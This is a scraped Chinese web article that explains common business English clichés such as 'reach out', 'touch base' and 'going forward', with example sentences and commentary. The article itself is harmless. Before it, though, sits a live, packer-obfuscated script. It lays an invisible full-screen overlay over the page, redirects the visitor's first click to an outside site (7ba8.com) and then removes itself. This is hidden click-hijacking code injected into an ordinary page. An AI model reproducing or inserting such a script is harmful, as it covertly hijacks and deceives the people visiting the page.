<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>《经济学家》杂志曾经研究过职场上外企白领最常用的那些陈词滥调(business clichés),发现这些用法尽管每天出现的频率极高,但实际上都是些可有可无,无关紧要的话。下面就来盘点这些商务英语中的陈词滥调,看你中枪没?
1. Reach out (联系,联络)
例句: “I’ll reach out to Joe.” 我会跟Joe联系。
分析:这句话可以理解成“I’ll take the risk of asking Joe for his advice even though he’s probably far too busy and probably sees our project as a threat to his entire existence” (即使Joe可能根本忙不过来,或者Joe认为我们这个项目会威胁到他的地位,我还是会试着询问一下他的意见)。 reach out也可以理解为“to talk to someone outside one’s normal circle of contacts” (跟一位不在我的圈子里的人联系)。这个真的是非常陈词滥调的一种用法;无论是中国人英国人美国人,很多职场人士都爱用这个词。跟“contact”不一样的是,“reach out”有“工作量很大”的涵义,其实这个说法大部分时间没有必要。
2. Touch base (联系,联络, 碰)
例句:“Let’s touch base tomorrow.” 咱们明天再联系吧。
分析:这个用法来源于美国棒球,但用来表示“联系”却并不恰当,因为“联系”是两个人的事情,强调合作;touch base在棒球里强调的是一个人的独立成功。跟“contact”或者“reach out”不同就是, “touch base”强调“不会占很多时间”,可以翻译成“碰一下头,见个面”。
3. To your point (至于你这一点,就像你说的)
4. “Deep(er) dive” (closer look, 跟仔细的层面上来讲)
例句: “I’ll do a deeper dive on those figures on Monday.” (我周一把这些数字仔细看一遍)
分析:第三和第四还算比较少听到,所以还算不上cliché。
5. Going forward (从目前开始)
例句: Jane is our new head of marketing going forward. (Jane从现在开始是我们的新营销管理。)
分析:going forward大多数情况下是多余的用法。“Is”本身就有“现在”的意思。因此不需要再用“going forward”(从现在开始)来强调了。
现在有越来越多的外企白领喜欢英汉夹杂着说话,比如“这个 project 的 schedule 有些问题,尤其是 buffer 不多。另外,cost 也偏高。目前我们没法 confirm 手上的 resource 能完全 take 得了”。 |